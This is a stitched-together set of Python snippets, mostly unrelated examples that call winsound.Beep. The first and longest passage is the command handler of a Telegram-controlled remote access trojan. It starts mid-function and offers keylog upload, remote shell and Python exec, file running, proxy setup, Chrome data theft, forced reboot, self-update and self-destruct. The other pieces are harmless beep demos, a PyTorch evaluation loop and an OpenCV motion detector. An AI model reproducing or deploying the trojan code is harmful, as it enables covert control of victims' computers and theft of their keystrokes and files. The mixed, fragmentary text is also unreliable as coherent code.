re.sub('[:,{}\t\"]', '', response) response += '\n' + 'Internal IP: ' + '\n\t' + internalIP() elif command == '/keylogs': bot.sendChatAction(chat_id, 'upload_document') bot.sendDocument(chat_id, open(log_file, "rb")) elif command.startswith('/ls'): bot.sendChatAction(chat_id, 'typing') command = command.replace('/ls', '') command = command.strip() files = [] if len(command) > 0: files = os.listdir(command) else: files = os.listdir(os.getcwd()) human_readable = '' for file in files: human_readable += file + '\n' response = human_readable elif command.startswith('/msg_box'): message = command.replace('/msg_box', '') if message == '': response = '/msg_box yourText' else: ctypes.windll.user32.MessageBoxW(0, message, u'Information', 0x40) response = 'MsgBox displayed' elif command.startswith('/mv'): command = command.replace('/mv', '') if len(command) > 0: try: file1 = command.split('"')[1] file2 = command.split('"')[3] move(file1, file2) response = 'Files moved succesfully.' except Exception as e: response = 'Error: \n' + str(e) else: response = 'Usage: \n/mv "C:/Users/DonaldTrump/Desktop/p**n.jpg" "C:/Users/DonaldTrump/AppData/Roaming/Microsoft Windows/[pornography.jpg]"' response += '\n\nDouble-Quotes are needed in both whitespace-containing and not containing path(s)' elif command == '/pc_info': bot.sendChatAction(chat_id, 'typing') info = '' for pc_info in platform.uname(): info += '\n' + pc_info info += '\n' + 'Username: '******'/ping': response = platform.uname()[1] + ': I\'m up' elif command.startswith('/play'): command = command.replace('/play', '') command = command.strip() if len(command) > 0: systemCommand = 'start \"\" \"https://www.youtube.com/embed/' systemCommand += command systemCommand += '?autoplay=1&showinfo=0&controls=0\"' if os.system(systemCommand) == 0: response = 'YouTube video is now playing' else: response = 'Failed playing YouTube video' else: response = '/play <VIDEOID>\n/play A5ZqNOJbamU' elif command == '/proxy': threading.Thread(target=proxy.main).start() info = requests.get('http://ipinfo.io').text #json format ip = (loads(info)['ip']) response = 'Proxy succesfully setup on ' + ip + ':8081' elif command == '/pwd': response = os.getcwd() elif command.startswith('/python_exec'): command = command.replace('/python_exec', '').strip() if len(command) == 0: response = 'Usage: /python_exec print(\'printing\')' else: from StringIO import StringIO import sys old_stderr = sys.stderr old_stdout = sys.stdout sys.stderr = mystderr = StringIO() sys.stdout = mystdout = StringIO() exec(command in globals()) if mystderr.getvalue() != None: response += mystderr.getvalue() if mystdout.getvalue() != None: response += mystdout.getvalue() sys.stderr = old_stderr sys.stdout = old_stdout if response == '': response = 'Expression executed. No return or malformed expression.' elif command == '/reboot': bot.sendChatAction(chat_id, 'typing') command = os.popen('shutdown /r /f /t 0') response = 'Computer will be restarted NOW.' elif command.startswith('/run'): bot.sendChatAction(chat_id, 'typing') path_file = command.replace('/run', '') path_file = path_file[1:] if path_file == '': response = '/run_file C:/path/to/file' else: try: os.startfile(path_file) response = 'File ' + path_file + ' has been run' except: try: os.startfile(hide_folder + '\\' + path_file) response = 'File ' + path_file + ' has been run from hide_folder' except: response = 'File not found' elif command.startswith('/schedule'): command = command.replace('/schedule', '') if command == '': response = '/schedule 2017 12 24 23 59 /msg_box happy christmas' else: scheduleDateTimeStr = command[1:command.index('/') - 1] scheduleDateTime = datetime.datetime.strptime( scheduleDateTimeStr, '%Y %m %d %H %M') scheduleMessage = command[command.index('/'):] schedule[scheduleDateTime] = { 'text': scheduleMessage, 'chat': { 'id': chat_id } } response = 'Schedule set: ' + scheduleMessage runStackedSchedule(10) elif command == '/self_destruct': bot.sendChatAction(chat_id, 'typing') global destroy destroy = True response = 'You sure? Type \'/destroy\' to proceed.' elif command == '/shutdown': bot.sendChatAction(chat_id, 'typing') command = os.popen('shutdown /s /f /t 0') response = 'Computer will be shutdown NOW.' elif command == '/destroy' and destroy == True: bot.sendChatAction(chat_id, 'typing') if os.path.exists(hide_folder): rmtree(hide_folder) if os.path.isfile(target_shortcut): os.remove(target_shortcut) os._exit(0) elif command == '/tasklist': lines = os.popen('tasklist /FI \"STATUS ne NOT RESPONDING\"') response2 = '' for line in lines: line.replace('\n\n', '\n') if len(line) > 2000: response2 += line else: response += line response += '\n' + response2 elif command.startswith('/to'): command = command.replace('/to', '') import winsound winsound.Beep(440, 300) if command == '': response = '/to <COMPUTER_1_NAME>, <COMPUTER_2_NAME> /msg_box Hello HOME-PC and WORK-PC' else: targets = command[:command.index('/')] if platform.uname()[1] in targets: command = command.replace(targets, '') msg = {'text': command, 'chat': {'id': chat_id}} handle(msg) elif command == '/update': proc_name = app_name + '.exe' if not os.path.exists(hide_folder + '\\updated.exe'): response = 'Send updated.exe first.' else: for proc in psutil.process_iter(): # check whether the process name matches if proc.name() == proc_name: proc.kill() os.rename(hide_folder + '\\' + proc_name, hide_folder + '\\' + proc_name + '.bak') os.rename(hide_folder + '\\updated.exe', hide_folder + '\\' + proc_name) os.system(hide_folder + '\\' + proc_name) sys.exit() elif command.startswith('/wallpaper'): command = command.replace('/wallpaper', '') command = command.strip() if len(command) == 0: response = 'Usage: /wallpaper C:/Users/User/Desktop/p**n.jpg' elif command.startswith('http'): image = command.rsplit('/', 1)[1] image = hide_folder + '/' + image urllib.urlretrieve(command, image) ctypes.windll.user32.SystemParametersInfoW(20, 0, image, 3) else: ctypes.windll.user32.SystemParametersInfoW( 20, 0, command.replace('/', '//'), 3) response = 'Wallpaper succesfully set.' elif command == '/help': # functionalities dictionary: command:arguments functionalities = { '/arp' : '', \ '/capture_pc' : '', \ '/cmd_exec' : '<command_chain>', \ '/cd':'<target_dir>', \ '/decode_all':'', \ '/delete':'<target_file>', \ '/dns':'', \ '/download':'<target_file>', \ '/encode_all':'', \ '/freeze_keyboard':'', \ '/freeze_mouse':'', \ '/get_chrome':'', \ '/hear':'[time in seconds, default=5s]', \ '/ip_info':'', \ '/keylogs':'', \ '/ls':'[target_folder]', \ '/msg_box':'<text>', \ '/pc_info':'', \ '/play':'<youtube_videoId>', \ '/proxy':'', \ '/pwd':'', \ '/python_exec':'<command_chain>', \ '/reboot':'', \ '/run':'<target_file>', \ '/self_destruct':'', \ '/shutdown':'', \ '/tasklist':'', \ '/to':'<target_computer>, [other_target_computer]',\ '/update':'',\ '/wallpaper':'<target_file>'} response = "\n".join(command + ' ' + description for command, description in sorted( functionalities.items())) else: # redirect to /help msg = {'text': '/help', 'chat': {'id': chat_id}} handle(msg) else: # Upload a file to target file_name = '' file_id = None if 'document' in msg: file_name = msg['document']['file_name'] file_id = msg['document']['file_id'] elif 'photo' in msg: file_time = int(time.time()) file_id = msg['photo'][1]['file_id'] file_name = file_id + '.jpg' file_path = bot.getFile(file_id=file_id)['file_path'] link = 'https://api.telegram.org/file/bot' + str( token) + '/' + file_path file = (requests.get(link, stream=True)).raw with open(hide_folder + '\\' + file_name, 'wb') as out_file: copyfileobj(file, out_file) response = 'File saved as ' + file_name if response != '': responses = split_string(4096, response) for resp in responses: send_safe_message(bot, chat_id, resp) #
def experiment_end(): print('Experiment ended!') winsound.Beep(370, 500) winsound.Beep(370, 500)
# Пример системного звука с помощью модуля winsound print("\t\t\t\t Name v.0.0.2\n") print("*" * 80) name = input("Onamae wa? ") import winsound # Лучше импортировать в начале файла Freq = 1000 Dur = 1000 winsound.Beep(Freq, Dur) # У winsound 2 параметра: частота (гц) и длительность (мс) print("Anata wa mou shindeiru, ", name + "!")
def suaraBeep(self): frequency = 2500 duration = 1000 for i in range(0, 5): winsound.Beep(frequency, duration)
def beep(freq, duration): winsound.Beep(freq, duration)
img, label = data # Wrap in variable with torch.no_grad(): img = Variable(img).cuda() label = Variable(label).cuda() out = model(img) loss = criterion(out, label) eval_loss += loss.item() * label.size(0) _, pred = torch.max(out, 1) num_correct = (pred == label).sum() eval_acc += num_correct.item() #8.Print loss & acc print('Test Loss: {:.6f}, Acc: {:.6f}'.format( eval_loss / (len(test_dataset)), eval_acc / (len(test_dataset)))) print() import winsound #ring winsound.Beep(32767, 2000) ''' #打印一张示例图 print(train_dataset.train_dataset.size()) # (60000, 28) print(train_dataset.train_labels.size()) # (60000) plt.imshow(train_dataset.train_dataset[5].numpy(), cmap='gray') plt.title('%i' % train_dataset.train_labels[5]) plt.show() '''
def beepsound(): #스피커로 삡- 소리내기 freq = 1500 dur = 500 ws.Beep(freq, dur)
# play a file using winsound in the standard python library. import winsound filename = 'airplane.wav' winsound.PlaySound(filename, winsound.SND_FILENAME) winsound.Beep(1000, 1000)
ret, frame = cam.read() ret, frame1 = cam.read() if ret == True: # gray_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) diff = cv2.absdiff(frame, frame1) gray = cv2.cvtColor(diff, cv2.COLOR_BGR2GRAY) #their are diff type of blurr but here we are using gaussian Blur blur = cv2.GaussianBlur(gray, (5, 5), 0) _, thresh = cv2.threshold(blur, 20, 255, cv2.THRESH_BINARY) dilated = cv2.dilate(thresh, None, iterations=3) #how much itr you wanna dilated contours, _ = cv2.findContours(dilated, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) #draw the contours # cv2.drawContours(frame1, contours, -1, (0, 255, 0), 2) for c in contours: if cv2.contourArea(c) < 5000: continue x, y, w, h = cv2.boundingRect(c) cv2.rectangle(frame1, (x, y), (x + w, y + h), (0, 255, 0), 2) winsound.Beep(500, 200) #winsound.PlaySound('alert SOUND WAV FILE', winsound.SND_ASYNC) cv2.imshow("Absolute diffrence b/w both the frames", frame1) if cv2.waitKey(10) == ord("q"): break cam.release() cv2.destroyAllWindows()